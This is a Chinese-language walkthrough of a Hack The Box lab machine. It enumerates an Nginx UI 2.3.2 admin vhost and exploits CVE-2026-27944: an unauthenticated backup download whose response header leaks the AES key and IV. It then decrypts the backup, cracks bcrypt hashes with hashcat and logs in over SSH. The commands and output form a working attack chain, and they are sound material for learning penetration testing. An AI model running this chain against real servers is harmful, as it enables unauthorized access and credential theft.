
一、靶机的相关信息

二、信息搜集
对目标进行 TCP 全端口扫描 + 指纹识别 + 操作系统识别:
bash
root@htb:~# rustscan -a 10.129.45.91 -r 1-65535 -- -sV -Pn -n -O
扫描结果显示有两个 TCP 端口开放,分别是 22 与 80:
bash
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
从端口指纹信息看,目标大概率是 Ubuntu 系统。
根据信息:
TTL 63 + Network Distance 2 hops
首先,2 hops 说明目标经过两条达到我这里,即原始 TTL 值很可能是 64,这同样符合 Linux 的指纹。
因为我们是通过 Openvpn 连接的靶机,因此中间隔一跳是正常的现象,而且这一跳大概率就是 VPN 隧道。
由此看来,目前最应该查看的就是 80 端口。
三、TCP 80
访问 80:
bash
root@htb:~# curl http://10.129.45.91 -v
* Trying 10.129.45.91:80...
* Connected to 10.129.45.91 (10.129.45.91) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.45.91
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 06:51:49 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
会重定向到 http://snapped.htb,跟随重定向:
bash
root@htb:~# curl http://10.129.45.91 -v -L
* Trying 10.129.45.91:80...
* Connected to 10.129.45.91 (10.129.45.91) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.45.91
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 06:52:30 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
* Ignoring the response-body
* Connection #0 to host 10.129.45.91 left intact
* Issue another request to this URL: 'http://snapped.htb/'
* Could not resolve host: snapped.htb
* Closing connection 1
curl: (6) Could not resolve host: snapped.htb
显示无法处理域名 snapped.htb("Could not resolve host: snapped.htb")。
这是正常现象,要解析域名,系统首先会查询本地 DNS 记录,如果没有的话会询问递归 DNS 服务器,由它来完成后续 DNS 的解析并返回有效 A 记录(即 IP 地址),而 snapped.htb 显然是内部域名,非公网 DNS 中可解析的域名,这就导致本机无法拿到有效的地址,因此报错。
解决方法,在 /etc/hosts 文件中,手动添加主机和域名的映射关系:
bash
root@htb:~# echo "10.129.45.91 snapped.htb" | tee -a /etc/hosts
10.129.45.91 snapped.htb
此时再次访问,就能看到:

响应包:
http
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 07:09:14 GMT
< Content-Type: text/html
< Content-Length: 20199
< Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
< Connection: keep-alive
< ETag: "69bc1230-4ee7"
< Accept-Ranges: bytes
banner 显示,它运行着 Nginx 服务,并且版本号为 1.24.0,同时也告诉我们目标是 Ubuntu。
输入:
http://snapped.htb/abcd
报错界面也出现了与 Banner 上看到的相同的信息:

从重定向后的 http 请求包的请求头:
http
> GET / HTTP/1.1
> Host: snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
可以发现,这是虚拟主机的提示,可以尝试进行虚拟主机枚举:
bash
root@htb:~# ffuf -u http://10.129.45.91 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.snapped.htb" -c -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://10.129.45.91
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.snapped.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 4
:: Filter : Response lines: 8
:: Filter : Response size: 154
________________________________________________
admin [Status: 200, Size: 1407, Words: 164, Lines: 50]
:: Progress: [5000/5000] :: Job [1/1] :: 416 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
发现虚拟主机 admin.snapped.htb。
同样,在 hosts 文件中添加映射:
bash
10.129.45.91 snapped.htb admin.snapped.htb
再次访问:

四、Nginx UI
这是一个开源的 Nginx 网络管理界面,项目地址:
https://github.com/0xJacky/nginx-ui/
从介绍:

可以分析出,其很可能是:
- 前端:Vue 框架
- 后端:Go 编写
查找 JS 文件,并查看其中是否有暴露版本号的情况。
bash
root@htb:~/backup# curl -s http://admin.snapped.htb/ | grep -P '\.js\b'
<script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>
继续查看 index-DoHxQupa.js 文件:
bash
root@htb:~/backup# curl -s http://admin.snapped.htb/assets/index-DoHxQupa.js | grep -oP 'version[-\w]*\.js'
version-BWPlJ0ga.js
version-CdjIlmL0.js
查看第一个文件就看到了版本号:
root@htb:~/backup# curl -s http://admin.snapped.htb/assets/version-BWPlJ0ga.js
const t="2.3.2";const o={version:t,build_id:1,total_build:512};export{o as a,t as v};
版本号为 2.3.2。
有了上述信息后,我的第一反应是通过版本号和对应组件关联公开 CVE。这是一种常见的 nday 思路(国内靶场基本都是这个套路)。
相比之下,国外大佬 0xdf(博客:https://0xdf.gitlab.io/),在同样的位置,他并没有立即跳到"找 CVE → 打 CVE",而是先记录站点行为,观察 Burp Site map 中出现的路径和请求,分析前端资源、接口结构、目录枚举结果以及应用功能。
Orz
我们应该脱离那种套路题的模板思路,转向真正的渗透测试思维。
这里模仿大佬的思路走一遍。
首先技术栈的识别:
bash
root@curl http://admin.snapped.htb -I
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 29 Apr 2026 08:31:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1407
Connection: keep-alive
Accept-Ranges: bytes
Request-Id: c1bb78f4-1571-42f7-ab3d-48921abc505f
Banner:nginx/1.24.0 (Ubuntu)
查看报错界面:
bash
root@htb:~# curl http://admin.snapped.htb/abcd -v
* Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /abcd HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:31:57 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 23
< Connection: keep-alive
< Request-Id: 9e11458a-5733-4f4e-8c88-d6d4dc8ab85f
<
* Connection #0 to host admin.snapped.htb left intact
{"message":"not found"}
回复了一个 JSON 格式的正文内容。
值得注意的是,由于之前尝试过弱密码登入(admin:admin),Burp 中的 Site Map 就记录下来了对应的 API 信息:

在没有账号的前提下,无法对这个登入框有什么作为(SQL 测试之类的,在此处并不具备很高的优先级),因此决定采用目录枚举:
bash
root@htb:~# feroxbuster -u http://admin.snapped.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://admin.snapped.htb/
🚩 In-Scope Url │ admin.snapped.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /root/.config/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 9l 12w 243c http://admin.snapped.htb/browserconfig.xml
200 GET 63l 116w 1316c http://admin.snapped.htb/manifest.json
200 GET 30l 282w 11373c http://admin.snapped.htb/pwa-192x192.png
200 GET 6l 17w 1344c http://admin.snapped.htb/favicon-32x32.png
301 GET 0l 0w 0c http://admin.snapped.htb/assets => assets/
404 GET 212l 423w 12987c http://admin.snapped.htb/assets/
200 GET 106l 588w 50147c http://admin.snapped.htb/pwa-512x512.png
200 GET 64l 142w 75487c http://admin.snapped.htb/favicon.ico
200 GET 1l 8254w 308866c http://admin.snapped.htb/assets/index-Cjd4fVAL.css
200 GET 624l 38187w 2050223c http://admin.snapped.htb/assets/index-DoHxQupa.js
200 GET 50l 104w 1407c http://admin.snapped.htb/
403 GET 1l 2w 34c http://admin.snapped.htb/mcp
[####################] - 46s 60012/60012 0s found:12 errors:0
[####################] - 45s 30000/30000 667/s http://admin.snapped.htb/
[####################] - 45s 30000/30000 672/s http://admin.snapped.htb/assets/
在已知有 api 目录的前提下,可以对该目录进行补扫(因为上述扫描并没有看到这个目录):
bash
root@htb:~# feroxbuster -u http://admin.snapped.htb/api
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://admin.snapped.htb/api
🚩 In-Scope Url │ admin.snapped.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /root/.config/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 1l 2w 34c http://admin.snapped.htb/api/user
403 GET 1l 2w 34c http://admin.snapped.htb/api/node
403 GET 1l 2w 34c http://admin.snapped.htb/api/sites
200 GET 1l 1w 29c http://admin.snapped.htb/api/install
403 GET 1l 2w 34c http://admin.snapped.htb/api/config
403 GET 1l 2w 34c http://admin.snapped.htb/api/users
200 GET 77l 454w 33017c http://admin.snapped.htb/api/backup
403 GET 1l 2w 34c http://admin.snapped.htb/api/events
403 GET 1l 2w 34c http://admin.snapped.htb/api/settings
403 GET 1l 2w 34c http://admin.snapped.htb/api/configs
403 GET 1l 2w 34c http://admin.snapped.htb/api/certs
403 GET 1l 2w 34c http://admin.snapped.htb/api/notifications
403 GET 1l 2w 34c http://admin.snapped.htb/api/streams
200 GET 1l 9w 52782c http://admin.snapped.htb/api/licenses
403 GET 1l 2w 34c http://admin.snapped.htb/api/analytic
403 GET 1l 2w 34c http://admin.snapped.htb/api/nodes
[####################] - 45s 30002/30002 0s found:16 errors:0
[####################] - 45s 30000/30000 667/s http://admin.snapped.htb/api/
installbackuplicenses
这三个的响应码显示 200。
先看看 install:
root@htb:~# curl http://admin.snapped.htb/api/install -v
* Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /api/install HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:58:16 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 29
< Connection: keep-alive
< Request-Id: 1e77b754-c5e9-4269-8708-096c549f7db2
<
* Connection #0 to host admin.snapped.htb left intact
{"lock":true,"timeout":false}
显示被锁住了。
查看 licenses,能发现其中有大量的依赖信息已经对应的授权协议(licenses):
bash
root@htb:~# curl http://admin.snapped.htb/api/licenses -s | jq . | head -20
{
"backend": [
{
"name": "Go Programming Language",
"license": "BSD-3-Clause",
"url": "https://golang.org",
"version": "go1.25.5"
},
{
"name": "gorm.io/gorm",
"license": "Unknown",
"url": "https://gorm.io/gorm",
"version": "v1.31.1"
},
{
"name": "cloud.google.com/go/auth/oauth2adapt",
"license": "Apache-2.0",
"url": "https://cloud.google.com/go/auth/oauth2adapt",
"version": "v0.2.8"
},
五、backup
尝试访问:
bash
root@htb:~# curl http://admin.snapped.htb/api/backup
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
看来会给我们一个文件,没有下载成功的原因是 curl 缺少了 --output 参数(通常简写为 -o),下载文件:
bash
root@htb:~# curl -o backup http://admin.snapped.htb/api/backup
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18354 100 18354 0 0 48495 0 --:--:-- --:--:-- --:--:-- 48427
查看文件类型:
bash
root@htb:~# file backup
backup: Zip archive data, at least v2.0 to extract, compression method=deflate
是一个压缩包,为了后续搞混,先将其重命名一下(加一个后缀):
root@htb:~# mv backup backup.zip
解压:
bash
root@htb:~# unzip backup.zip -d backup
Archive: backup.zip
inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip
进入 backup 目录,里面有三个文件:
bash
root@htb:~# cd backup
root@htb:~/backup# ls
hash_info.txt nginx-ui.zip nginx.zip
查看三个文件的类型:
bash
root@htb:~/backup# file *
hash_info.txt: data
nginx-ui.zip: data
nginx.zip: DOS executable (COM), start instruction 0xb8c85bbf ccfd9ffc
可以发现异常现象,明明应该是一个压缩包文件,却没有显示 Zip 字样,高度怀疑它们经过了加密、压缩封装或混淆处理。
注意:Linux 中并不靠后缀来决定文件类型,但是上面说其异常的点在于命名格式与实际检测结果不匹配。
这里顺带做个补充,file 的判断文件类型的逻辑主要靠 magic bytes,也就是文件开头的特征字节。
正常 ZIP 文件开头通常是:
50 4b 03 04
也就是 ASCII 里的:
PK..
这里文件的开头 magic bytes:
bash
root@htb:~/backup# xxd -l 32 nginx-ui.zip
00000000: bdad dd14 e9a8 449d fd50 407b cd45 5b33 ......D..P@{.E[3
00000010: c465 fccf 73fd bd1a 4063 ff58 4cc1 c619 .e..s...@c.XL...
并不是正常的。
从全局视角来看,这里如果检查一下 http 响应部分,说不定就直接自己把这个 CVE 给挖出来了......
六、CVE-2026-27944
到了熟悉的"找 CVE"环节,通过 Dork 语法:
Nginx UI "2.3.2" cve backup

大家可以发现,我在搜索内容中,添加了"backup"一词,这是上一步骤中我们卡住的部分,通过限定这个特殊词,能大幅度提升漏洞查找的精准度。

我们之前的操作刚好就卡在第二步这里(这也是我为什么说"要是看个响应,说不定就自己挖出来了")。
重新下载压缩包(因为 CBC 模式下的 IV 每次并不相同)
bash
root@htb:~# curl -o backup.zip http://admin.snapped.htb/api/backup -v
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 10:27:25 GMT
< Content-Type: application/zip
< Content-Length: 18354
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260429-062725.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Wed, 29 Apr 2026 10:27:25 GMT
< Pragma: public
< Request-Id: 54536c03-4903-4b63-a56d-c015eb5a3441
< X-Backup-Security: qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA=:itB8QRRo9Q1+RRX+E6xByw==
<
{ [12926 bytes data]
100 18354 100 18354 0 0 80054 0 --:--:-- --:--:-- --:--:-- 79800
* Connection #0 to host admin.snapped.htb left intact
- 密钥:
qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA= - IV:
itB8QRRo9Q1+RRX+E6xByw==
解码:
bash
root@htb:~# echo qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA= | base64 -d | xxd -p -c 0
aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080
root@htb:~# echo itB8QRRo9Q1+RRX+E6xByw== | base64 -d | xxd -p -c 0
8ad07c411468f50d7e4515fe13ac41cb
先解压下载下来的文件,并进入目录:
bash
root@htb:~# unzip backup.zip -d backup
Archive: backup.zip
inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip
root@htb:~# cd backup
在目录中,还有一个文件之前没分析,那就是 hash_info.txt,通过 cat 查看发现是一堆乱码:
root@htb:~/backup# cat hash_info.txt
3Q[þR"7V++Yܧ~N±fCZ]֡~gެ鈙¹°ȉud7t闋fsQ ڟNJV|ȏ@¤X‡𱴽s澞¤¬kԶ¢帐ړ8|n7
º:(Qj핈㜝u¢D]¯u³dw#
应该也是经过加密了的,可以先拿它试试解密操作:
bash
root@htb:~/backup# openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb
root@htb:~/backup# cat hash_info_dec.txt
nginx-ui_hash: 6460e4970376c07e9773ef57ab85c93aebb137ef944ce720753121c9af693d7b
nginx_hash: 75deb0e951bb55d9866c155812e5cc60b611cdd947ae439b3114b56d50c8232b
timestamp: 20260429-062725
version: 2.3.2
成功恢复明文,说明 CVE 和思路都是对的。
同理解密那两个压缩包:
bash
root@htb:~/backup# openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginx-ui-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb
root@htb:~/backup# openssl enc -aes-256-cbc -d -in nginx.zip -out nginx-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb
这样就获得两个解密后的压缩包了:
root@htb:~/backup# file nginx-ui-dec.zip
nginx-ui-dec.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
root@htb:~/backup# file nginx-dec.zip
nginx-dec.zip: Zip archive data, at least v2.0 to extract, compression method=store
解压:
bash
root@htb:~/backup# unzip nginx-ui-dec.zip -d nginx-ui
Archive: nginx-ui-dec.zip
inflating: nginx-ui/app.ini
inflating: nginx-ui/database.db
root@htb:~/backup# unzip nginx-dec.zip -d nginx
Archive: nginx-dec.zip
creating: nginx/conf.d/
inflating: nginx/fastcgi.conf
inflating: nginx/fastcgi_params
inflating: nginx/koi-utf
inflating: nginx/koi-win
inflating: nginx/mime.types
creating: nginx/modules-available/
creating: nginx/modules-enabled/
inflating: nginx/nginx.conf
inflating: nginx/proxy_params
inflating: nginx/scgi_params
creating: nginx/sites-available/
inflating: nginx/sites-available/nginx-ui
inflating: nginx/sites-available/snapped
creating: nginx/sites-enabled/
inflating: nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
inflating: nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped
creating: nginx/snippets/
inflating: nginx/snippets/fastcgi-php.conf
inflating: nginx/snippets/snakeoil.conf
inflating: nginx/uwsgi_params
inflating: nginx/win-utf
finishing deferred symbolic links:
nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped
七、查看压缩包中的内容
1、nginx
bash
root@htb:~/backup/nginx# ls -l
total 68
drwxr-xr-x 2 root root 4096 Apr 29 10:27 conf.d
-rw-r--r-- 1 root root 1125 Apr 29 10:27 fastcgi.conf
-rw-r--r-- 1 root root 1055 Apr 29 10:27 fastcgi_params
-rw-r--r-- 1 root root 2837 Apr 29 10:27 koi-utf
-rw-r--r-- 1 root root 2223 Apr 29 10:27 koi-win
-rw-r--r-- 1 root root 5465 Apr 29 10:27 mime.types
drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-available
drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-enabled
-rw-r--r-- 1 root root 1483 Apr 29 10:27 nginx.conf
-rw-r--r-- 1 root root 180 Apr 29 10:27 proxy_params
-rw-r--r-- 1 root root 636 Apr 29 10:27 scgi_params
drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-available
drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-enabled
drwxr-xr-x 2 root root 4096 Apr 29 10:27 snippets
-rw-r--r-- 1 root root 664 Apr 29 10:27 uwsgi_params
-rw-r--r-- 1 root root 3071 Apr 29 10:27 win-utf
查看 nginx 配置文件(nginx.conf):
bash
root@htb:~/backup/nginx# cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
重点关注其中被包含进来的文件:
bash
include /etc/nginx/modules-enabled/*.conf
include /etc/nginx/mime.types;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
其中:
mime.types和文件类型有关modules-enabled和conf.d这两个目录中并没有放内容
因此,重心就放在了 sites-enabled 目录:
bash
root@htb:~/backup/nginx# ls -l sites-enabled/
total 0
lrwxrwxrwx 1 root root 35 Apr 29 12:00 nginx-ui -> /etc/nginx/sites-available/nginx-ui
lrwxrwxrwx 1 root root 34 Apr 29 12:00 snapped -> /etc/nginx/sites-available/snapped
开头的 l 是 link 的意思,表示该文件只是符号链接,其真实的地址在 -> 指向的位置,因此转而查看 sites-available 这个目录:
bash
root@htb:~/backup/nginx# ls -l sites-available/
total 8
-rw-r--r-- 1 root root 463 Apr 29 10:27 nginx-ui
-rw-r--r-- 1 root root 264 Apr 29 10:27 snapped
依次查看:
bash
root@htb:~/backup/nginx/sites-available# cat nginx-ui
server {
listen 80;
server_name admin.snapped.htb;
location / {
proxy_pass http://127.0.0.1:9000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
这就说明了:
admin.snapped.htb是作为127.0.0.1:9000的反向代理存在的- 9000 端口应该就是之前看到的 Nginx Ui
bash
root@htb:~/backup/nginx/sites-available# cat snapped
server {
listen 80 default_server;
server_name snapped.htb;
root /var/www/html/snapped;
index index.html;
if ($host != snapped.htb) {
rewrite ^ http://snapped.htb/;
}
location / {
try_files $uri $uri/ =404;
}
}
信息:
- 根目录为:
/var/www/html/snapped - 对于任何不是
snapped.htb的主机,它都有一条重写规则,这也印证了我们之前用 IP 访问 80 会重定向到snapped.htb
2、nginx-ui
目录结构:
bash
root@htb:~/backup# ls -l nginx-ui
total 260
-rw-r--r-- 1 root root 2295 Apr 29 10:27 app.ini
-rw-r--r-- 1 root root 262144 Apr 29 10:27 database.db
有两个文件,先看 app.ini:
bash
root@htb:~/backup/nginx-ui# cat app.ini
[server]
RunMode = release
HttpPort = 9000
HTTPChallengePort = 9180
Host = 127.0.0.1
Port = 9000
BaseUrl =
EnableHTTPS = false
SSLCert =
SSLKey =
EnableH2 = false
EnableH3 = false
[nginx]
ConfigDir = /etc/nginx
BinaryPath = /usr/sbin/nginx
AccessLogPath = /var/log/nginx/access.log
ErrorLogPath = /var/log/nginx/error.log
LogDirWhiteList =
ConfigPath =
PIDPath =
SbinPath =
TestConfigCmd =
ReloadCmd =
RestartCmd =
StubStatusPort = 0
ContainerName =
[database]
Path = /var/lib/nginx-ui/database.db
Name = database
[app]
PageSize = 20
JwtSecret = 6c4af436-035a-4942-9ca6-172b36696ce9
[log]
EnableFileLog = false
Dir =
MaxSize = 0
MaxAge = 0
MaxBackups = 0
Compress = false
[sls]
AccessKeyId =
AccessKeySecret =
EndPoint =
ProjectName =
APILogStoreName =
DefaultLogStoreName =
Source =
[auth]
IPWhiteList =
BanThresholdMinutes = 10
MaxAttempts = 10
[backup]
GrantedAccessPath =
[casdoor]
Endpoint =
ExternalUrl =
ClientId =
ClientSecret =
CertificatePath =
Organization =
Application =
RedirectUri =
[cert]
RecursiveNameservers =
Email = admin@test.htb
CADir =
RenewalInterval = 7
HTTPChallengePort = 9180
[cluster]
Node =
[crypto]
Secret = 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
[http]
GithubProxy =
InsecureSkipVerify = false
[logrotate]
Enabled = false
CMD = logrotate /etc/logrotate.d/nginx
Interval = 1440
[nginx_log]
IndexingEnabled = false
IndexPath =
IncrementalIndexInterval = 0
[node]
Name =
Secret = c64d7ca1-19cb-4ebe-96d4-49037e7df78e
SkipInstallation = false
Demo = false
ICPNumber =
PublicSecurityNumber =
[openai]
BaseUrl =
Token =
Proxy =
Model =
APIType = OPEN_AI
EnableCodeCompletion = false
CodeCompletionModel =
[terminal]
StartCmd = login
[webauthn]
RPDisplayName =
RPID =
RPOrigins =
这应该就是 nginx ui 的配置文件,信息:
Email = admin@test.htb
还有一个文件是 SQLite 数据库文件,可以直接用 sqlite3 提取文件中的信息。
SQLite 是一个把整个数据库放在一个文件里的"轻量级数据库"。
bash
root@htb:~/backup/nginx-ui# sqlite3 database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite>
进入了交互式界面,查看有哪些表:
sqlite> .table
acme_users configs namespaces sites
auth_tokens dns_credentials nginx_log_indices streams
auto_backups dns_domains nodes upstream_configs
ban_ips external_notifies notifications users
certs llm_sessions passkeys
config_backups migrations site_configs
查看 user 表:
sqlite> SELECT * FROM users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g
|²7DĪ:𔕨½\ԝD°Oҽu#,|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,¸§զ>>He)5U¡К笕KĦ"D¨°Ɨ|en
看到了两个用户(其中一个是 admin),还有对应的哈希值。
哈希值以 $2 开头,并且总字符数为:
python
root@htb:~/backup/nginx-ui# python3
Python 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> str = "$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm"
>>> print(len(str))
60
这就基本可以判定,这就是 bcrypt hash。
拿 Admin 的 bcrypt hash 进行分解:
| 部分 | 含义 | 说明 |
|---|---|---|
$2a$ |
bcrypt 版本标识 | 2a 是最常见的版本 |
10$ |
Cost Factor(成本因子) | 2^10 = 1024 次迭代,安全但不算特别强 |
8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm |
实际哈希值 | 包含 22 位 salt + 31 位 hash |
建立一个文件存放 Hash:
bash
vim hash
写入:
$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
用 hashcat 进行本地爆破:
bash
hashcat hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -m 3200
不久就能跑出:
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
即用户 jonathan 的明文密码为:linkinpark
但是,admin 用户的 hash 爆破了很久还是没有出来,因为判定题目就是不让你爆破,只让你登入普通账户然后走提权的思路。
八、User Flag
还记得目标是开放着 22 端口的,直接登入:
bash
root@htb:~/backup/nginx-ui# ssh jonathan@10.129.45.91
The authenticity of host '10.129.45.91 (10.129.45.91)' can't be established.
ED25519 key fingerprint is SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.45.91' (ED25519) to the list of known hosts.
jonathan@10.129.45.91's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
